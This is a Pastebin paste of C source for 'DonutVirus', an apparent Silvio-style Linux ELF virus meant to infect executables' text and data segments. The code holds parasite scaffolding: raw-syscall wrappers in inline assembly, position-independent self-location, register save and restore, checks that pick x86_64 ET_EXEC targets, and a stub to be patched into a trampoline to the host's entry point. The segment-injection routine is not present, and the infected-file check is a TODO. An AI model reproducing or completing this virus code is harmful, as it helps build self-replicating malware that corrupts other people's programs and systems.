FlyFar

DonutVirus/Silvio.c - infecting ELF text (reverse text infection) and data segments

Jun 18th, 2023
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 13.27 KB | Cybersecurity | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <sys/types.h>
  6. #include <sys/ptrace.h>
  7. #include <elf.h>
  8. #include <sys/mman.h>
  9. #include <fcntl.h>
  10. #include <sys/syscall.h>
  11. #include <link.h>
  12. #include <sys/stat.h>
  13. #include <stdarg.h>
  14. #include <time.h>
  15. #include <signal.h>
  16. #include <sys/user.h>
  17. #include <sys/prctl.h>
  18. #include <sys/time.h>
  19.  
  20. /* libc */
  21. void _memcpy(void *dst, void *src, unsigned int len);
  22. int _memcmp(const void *s1, const void *s2, unsigned int n);
  23. int _printf(char *fmt, ...);
  24. char * itoa(long x, char *t);
  25. char * itox(long x, char *t);
  26. int _puts(char *str);
  27. size_t _strlen(char *s);
  28.  
  29. /* syscalls */
  30. void Exit(long);
  31. int _read(long fd, char *buf, unsigned long len);
  32. long _write(long fd, char *buf, unsigned long len);
  33. int _fstat(long fd, void *buf);
  34. int _close(unsigned int fd);
  35. long _open(const char *path, unsigned long flags, long mode);
  36. int _fsync(int fd);
  37. void *_mmap(void *addr, unsigned long len, unsigned long prot, unsigned long flags, long fd, unsigned long off);
  38. int _munmap(void *addr, size_t len);
  39.  
  40. /* customs */
  41. unsigned long get_rip(void);
  42. void end_code(void);
  43. void dummy_marker(void);
  44.  
  45. #define PIC_RESOLVE_ADDR(target) (get_rip() - ((char*)&get_rip_label - (char*)target))
  46.  
  47. #if defined(DEBUG) && DEBUG > 0
  48.     #define DEBUG_PRINT(fmt, args...) _printf("DEBUG: %s:%d:%s(): " fmt, \
  49.         __FILE__, __LINE__, __func__, ##args)
  50. #else
  51.     #define DEBUG_PRINT(fmt, args...) /* Do not do nothing */
  52. #endif
  53.  
  54. #define __ASM__ __asm__ __volatile__
  55.  
  56. #define RODATA_PADDING 17000 //enough bytes to also copy .rodata and virus
  57.  
  58. extern long real_start;
  59. extern long get_rip_label;
  60.  
  61. typedef struct elfbin {
  62.     /* Headers */
  63.     Elf64_Ehdr* ehdr;
  64.     Elf64_Phdr* phdr;
  65.     Elf64_Shdr* shdr;
  66.     Elf64_Dyn* dyn;
  67.     Elf64_Addr textVaddr;
  68.     Elf64_Addr dataVaddr;
  69.     size_t textSize;
  70.     size_t dataSize;
  71.     Elf64_Off dataOff;
  72.     Elf64_Off textOff;
  73.     /* Memory */   
  74.     uint8_t* mem;
  75.     size_t size;   
  76.     /* File info */
  77.     char* path;
  78.     struct stat st;
  79.     int fd;
  80.     /* Else */
  81.     int original_virus_exe;
  82. } elfbin_t;
  83.  
  84. int _start() {
  85.     /*
  86.      * Save register state before executing parasite code.
  87.      */
  88.     __ASM__(
  89.         ".globl real_start  \n"
  90.         "real_start:        \n"
  91.         "push %rsp          \n"
  92.         "push %rbp          \n"
  93.         "push %rax          \n"
  94.         "push %rbx          \n"
  95.         "push %rcx          \n"
  96.         "push %rdx          \n"
  97.         "push %r8           \n"
  98.         "push %r9           \n"
  99.         "push %r10          \n"
  100.         "push %r11          \n"
  101.         "push %r12          \n"
  102.         "push %r13          \n"
  103.         "push %r14          \n"
  104.         "push %r15          ");
  105.  
  106.     __ASM__(
  107.         "call do_main       ");
  108.  
  109.     /*
  110.      * Restore register state
  111.     */
  112.     __ASM__(
  113.         "pop %r15           \n"
  114.         "pop %r14           \n"
  115.         "pop %r13           \n"
  116.         "pop %r12           \n"
  117.         "pop %r11           \n"
  118.         "pop %r10           \n"
  119.         "pop %r9            \n"
  120.         "pop %r8            \n"
  121.         "pop %rdx           \n"
  122.         "pop %rcx           \n"
  123.         "pop %rbx           \n"
  124.         "pop %rax           \n"
  125.         "pop %rbp           \n"
  126.         "pop %rsp           \n"
  127.         "add $0x8, %rsp     \n"
  128.         "jmp end_code       ");
  129. }
  130.  
  131. /* Since our parasite exists of both a text and data segment
  132.  * we include the initial ELF file header and phdr in each parasite
  133.  * insertion. This lends itself well to being able to self-load by
  134.  * parsing our own program header etc.
  135.  */
  136. int load_self(elfbin_t* elf) {
  137.     void (*f1)(void) = (void (*)())PIC_RESOLVE_ADDR(&end_code);
  138.     void (*f2)(void) = (void (*)())PIC_RESOLVE_ADDR(&dummy_marker);
  139.  
  140.     Elf64_Addr _start_addr = PIC_RESOLVE_ADDR(&_start);
  141.     elf->mem = (uint8_t*)_start_addr;
  142.     elf->size = (char*)&end_code - (char*)&_start;
  143.     elf->size += (int)((char*)f2 - (char*)f1);
  144.  
  145.     //elf->size += RODATA_PADDING;
  146.     return 0;
  147. }
  148.  
  149. void unload_target(elfbin_t* elf) {
  150.     _munmap(elf->mem, elf->size);
  151.     _close(elf->fd);
  152. }
  153.  
  154. int load_target(const char *path, elfbin_t* elf) {
  155.     int i;
  156.     struct stat st;
  157.     elf->path = (char*)path;
  158.     int fd = _open(path, O_RDONLY, 0);
  159.     if (fd < 0) {
  160.         return -1;
  161.     }
  162.     elf->fd = fd;
  163.     if (_fstat(fd, &st) < 0) {
  164.         return -1;
  165.     }
  166.     elf->mem = _mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
  167.     if (elf->mem == MAP_FAILED) {
  168.         return -1;
  169.     }
  170.  
  171.     elf->ehdr = (Elf64_Ehdr*)elf->mem;
  172.     elf->phdr = (Elf64_Phdr*)&elf->mem[elf->ehdr->e_phoff];
  173.     elf->shdr = (Elf64_Shdr*)&elf->mem[elf->ehdr->e_shoff];
  174.  
  175.     for (i = 0; i < elf->ehdr->e_phnum; i++) {
  176.         switch(elf->phdr[i].p_type) {
  177.             case PT_LOAD:
  178.                 switch(!!elf->phdr[i].p_offset) {
  179.                     case 0:
  180.                         elf->textVaddr = elf->phdr[i].p_vaddr;
  181.                         elf->textSize = elf->phdr[i].p_memsz;
  182.                     break;
  183.                     case 1:
  184.                         elf->dataVaddr = elf->phdr[i].p_vaddr;
  185.                         elf->dataSize = elf->phdr[i].p_memsz;
  186.                         elf->dataOff = elf->phdr[i].p_offset;
  187.                     break;
  188.                 }
  189.             break;
  190.             case PT_DYNAMIC:
  191.                 elf->dyn = (Elf64_Dyn*)&elf->mem[elf->phdr[i].p_offset];
  192.             break;
  193.             default: break;
  194.         }
  195.     }
  196.     elf->st = st;
  197.     elf->size = st.st_size;
  198.     return 0;
  199. }
  200.  
  201. /*
  202.  * Must be ELF
  203.  * Must be ET_EXEC
  204.  * Must not be yet injected
  205.  */
  206. int check_criteria(char *filename) {
  207.     int fd;
  208.     struct stat st;
  209.     Elf64_Ehdr *ehdr;
  210.     Elf64_Phdr *phdr;
  211.     uint8_t mem[PAGE_SIZE];
  212.     uint32_t magic;
  213.  
  214.     fd = _open(filename, O_RDONLY, 0);
  215.     if (fd < 0) {
  216.         return -1;
  217.     }
  218.     if (_read(fd, mem, PAGE_SIZE) < 0) {
  219.         return -1;
  220.     }
  221.     _close(fd);
  222.        
  223.     ehdr = (Elf64_Ehdr*)mem;
  224.     phdr = (Elf64_Phdr*)&mem[ehdr->e_phoff];
  225.  
  226.     /* Check if file is ELF format */
  227.     /* first 4 bits != 0x7fELF */
  228.     if (_memcmp("\x7f\x45\x4c\x46", mem, 4) != 0) {
  229.         return -1;
  230.     }
  231.    
  232.     /* Check if file already infected (has magic) */
  233.     // TODO:   
  234.  
  235.     /* Check if file is ET_EXEC */
  236.     if (ehdr->e_type != ET_EXEC) {
  237.         return -1;
  238.     }
  239.    
  240.     /* Now supported only x86_64 */
  241.     if (ehdr->e_machine != EM_X86_64) {
  242.         return -1;
  243.     }
  244.    
  245.     return 0;
  246. }
  247.  
  248. void do_main() {
  249.     /* Declare variables */
  250.     char cwd[2];   
  251.     ssize_t cwd_fd;
  252.  
  253.     elfbin_t self;
  254.    
  255.     /* Code */
  256.     cwd[0] = '.';
  257.     cwd[1] = '\0';
  258.  
  259.     cwd_fd = _open(cwd, O_RDONLY | O_DIRECTORY, 0);
  260.     if (cwd_fd < 0) {
  261.         return;
  262.     }
  263.  
  264.     load_self(&self);
  265.  
  266. }
  267.  
  268. void Exit(long status) {
  269.     __asm__ volatile(
  270.         "mov %0, %%rdi      \n"
  271.         "mov $60, %%rax     \n"
  272.         "syscall": : "r"(status)); 
  273. }
  274.  
  275. int _read(long fd, char *buf, unsigned long len) {
  276.          long ret;
  277.         __asm__ volatile(
  278.                         "mov %0, %%rdi\n"
  279.                         "mov %1, %%rsi\n"
  280.                         "mov %2, %%rdx\n"
  281.                         "mov $0, %%rax\n"
  282.                         "syscall" : : "g"(fd), "g"(buf), "g"(len));
  283.         asm("mov %%rax, %0" : "=r"(ret));
  284.         return (int)ret;
  285. }
  286.  
  287. long _write(long fd, char *buf, unsigned long len) {
  288.         long ret;
  289.         __asm__ volatile(
  290.                         "mov %0, %%rdi\n"
  291.                         "mov %1, %%rsi\n"
  292.                         "mov %2, %%rdx\n"
  293.                         "mov $1, %%rax\n"
  294.                         "syscall" : : "g"(fd), "g"(buf), "g"(len));
  295.         asm("mov %%rax, %0" : "=r"(ret));
  296.         return ret;
  297. }
  298.  
  299. int _fstat(long fd, void *buf) {
  300.         long ret;
  301.         __asm__ volatile(
  302.                         "mov %0, %%rdi\n"
  303.                         "mov %1, %%rsi\n"
  304.                         "mov $5, %%rax\n"
  305.                         "syscall" : : "g"(fd), "g"(buf));
  306.         asm("mov %%rax, %0" : "=r"(ret));
  307.         return (int)ret;
  308. }
  309.  
  310. int _close(unsigned int fd) {
  311.         long ret;
  312.         __asm__ volatile(
  313.                         "mov %0, %%rdi\n"
  314.                         "mov $3, %%rax\n"
  315.                         "syscall" : : "g"(fd));
  316.         return (int)ret;
  317. }
  318.  
  319. long _open(const char *path, unsigned long flags, long mode) {
  320.         long ret;
  321.         __asm__ volatile(
  322.                         "mov %0, %%rdi\n"
  323.                         "mov %1, %%rsi\n"
  324.             "mov %2, %%rdx\n"
  325.                         "mov $2, %%rax\n"
  326.                         "syscall" : : "g"(path), "g"(flags), "g"(mode));
  327.         asm ("mov %%rax, %0" : "=r"(ret));
  328.         return ret;
  329. }
  330.  
  331. int _fsync(int fd) {
  332.         long ret;
  333.         __asm__ volatile(
  334.                         "mov %0, %%rdi\n"
  335.                         "mov $74, %%rax\n"
  336.                         "syscall" : : "g"(fd));
  337.  
  338.         asm ("mov %%rax, %0" : "=r"(ret));
  339.         return (int)ret;
  340. }
  341.  
  342.  
  343. void *_mmap(void *addr, unsigned long len, unsigned long prot, unsigned long flags, long fd, unsigned long off) {
  344.         long mmap_fd = fd;
  345.         unsigned long mmap_off = off;
  346.         unsigned long mmap_flags = flags;
  347.         unsigned long ret;
  348.  
  349.         __asm__ volatile(
  350.                          "mov %0, %%rdi\n"
  351.                          "mov %1, %%rsi\n"
  352.                          "mov %2, %%rdx\n"
  353.                          "mov %3, %%r10\n"
  354.                          "mov %4, %%r8\n"
  355.                          "mov %5, %%r9\n"
  356.                          "mov $9, %%rax\n"
  357.                          "syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags), "g"(mmap_fd), "g"(mmap_off));
  358.         asm ("mov %%rax, %0" : "=r"(ret));              
  359.         return (void *)ret;
  360. }
  361.  
  362. int _munmap(void *addr, size_t len){
  363.         long ret;
  364.         __asm__ volatile(
  365.                         "mov %0, %%rdi\n"
  366.                         "mov %1, %%rsi\n"
  367.                         "mov $11, %%rax\n"
  368.                         "syscall" :: "g"(addr), "g"(len));
  369.         asm ("mov %%rax, %0" : "=r"(ret));
  370.         return (int)ret;
  371. }
  372.  
  373. /* --------------------- LibC ---------------------------------- */
  374.  
  375. void _memcpy(void *dst, void *src, unsigned int len) {
  376.         int i;
  377.         unsigned char *s = (unsigned char *)src;
  378.         unsigned char *d = (unsigned char *)dst;
  379.         for (i = 0; i < len; i++) {
  380.                 *d = *s;
  381.                 s++, d++;
  382.         }
  383. }
  384.  
  385. int _memcmp(const void *s1, const void *s2, unsigned int n) {
  386.         unsigned char u1, u2;
  387.         for ( ; n-- ; s1++, s2++) {
  388.                 u1 = * (unsigned char *) s1;
  389.                 u2 = * (unsigned char *) s2;
  390.         if ( u1 != u2) {
  391.                 return (u1-u2);
  392.         }
  393.     }
  394. }
  395.  
  396. int _printf(char *fmt, ...) {
  397.         int in_p;
  398.         unsigned long dword;
  399.         unsigned int word;
  400.         char numbuf[26] = {0};
  401.         __builtin_va_list alist;
  402.  
  403.         in_p;
  404.         __builtin_va_start((alist), (fmt));
  405.  
  406.         in_p = 0;
  407.         while(*fmt) {
  408.                 if (*fmt!='%' && !in_p) {
  409.                         _write(1, fmt, 1);
  410.                         in_p = 0;
  411.                 }
  412.                 else if (*fmt!='%') {
  413.                         switch(*fmt) {
  414.                                 case 's':
  415.                                         dword = (unsigned long) __builtin_va_arg(alist, long);
  416.                                         _puts((char *)dword);
  417.                                         break;
  418.                                 case 'u':
  419.                                         word = (unsigned int) __builtin_va_arg(alist, int);
  420.                                         _puts(itoa(word, numbuf));
  421.                                         break;
  422.                                 case 'd':
  423.                                         word = (unsigned int) __builtin_va_arg(alist, int);
  424.                                         _puts(itoa(word, numbuf));
  425.                                         break;
  426.                                 case 'x':
  427.                                         dword = (unsigned long) __builtin_va_arg(alist, long);
  428.                                         _puts(itox(dword, numbuf));
  429.                                         break;
  430.                                 default:
  431.                                         _write(1, fmt, 1);
  432.                                         break;
  433.                         }
  434.                         in_p = 0;
  435.                 }
  436.                 else {
  437.                         in_p = 1;
  438.                 }
  439.                 fmt++;
  440.         }
  441.         return 1;
  442. }
  443.  
  444. char * itoa(long x, char *t) {
  445.         int i;
  446.         int j;
  447.  
  448.         i = 0;
  449.         do
  450.         {
  451.                 t[i] = (x % 10) + '0';
  452.                 x /= 10;
  453.                 i++;
  454.         } while (x!=0);
  455.  
  456.         t[i] = 0;
  457.  
  458.         for (j=0; j < i / 2; j++) {
  459.                 t[j] ^= t[i - j - 1];
  460.                 t[i - j - 1] ^= t[j];
  461.                 t[j] ^= t[i - j - 1];
  462.         }
  463.  
  464.         return t;
  465. }
  466. char * itox(long x, char *t) {
  467.         int i;
  468.         int j;
  469.  
  470.         i = 0;
  471.         do
  472.         {
  473.                 t[i] = (x % 16);
  474.  
  475.                 /* char conversion */
  476.                 if (t[i] > 9)
  477.                         t[i] = (t[i] - 10) + 'a';
  478.                 else
  479.                         t[i] += '0';
  480.  
  481.                 x /= 16;
  482.                 i++;
  483.         } while (x != 0);
  484.  
  485.         t[i] = 0;
  486.  
  487.         for (j=0; j < i / 2; j++) {
  488.                 t[j] ^= t[i - j - 1];
  489.                 t[i - j - 1] ^= t[j];
  490.                 t[j] ^= t[i - j - 1];
  491.         }
  492.  
  493.         return t;
  494. }
  495.  
  496. int _puts(char *str) {
  497.         _write(1, str, _strlen(str));
  498.         _fsync(1);
  499.  
  500.         return 1;
  501. }
  502.  
  503. size_t _strlen(char *s) {
  504.         size_t sz;
  505.  
  506.         for (sz=0;s[sz];sz++);
  507.         return sz;
  508. }
  509. /* -------------------- Custom ----------------------------------- */
  510.  
  511. unsigned long get_rip(void) {
  512.     long ret;
  513.     __asm__ __volatile__(
  514.         "call get_rip_label     \n"
  515.         ".globl get_rip_label   \n"
  516.         "get_rip_label:         \n"
  517.         "pop %%rax              \n"
  518.         "mov %%rax, %0" : "=r"(ret)
  519.     );
  520.     return ret;
  521. }  
  522.  
  523. /*
  524.  * end_code() gets over_written with a trampoline
  525.  * that jumps to the original entry point.
  526.  */
  527. void end_code() {
  528.     Exit(0);
  529. }
  530.  
  531. void dummy_marker() {
  532.     __ASM__("nop");
  533. }
Add Comment
Please, Sign In to add comment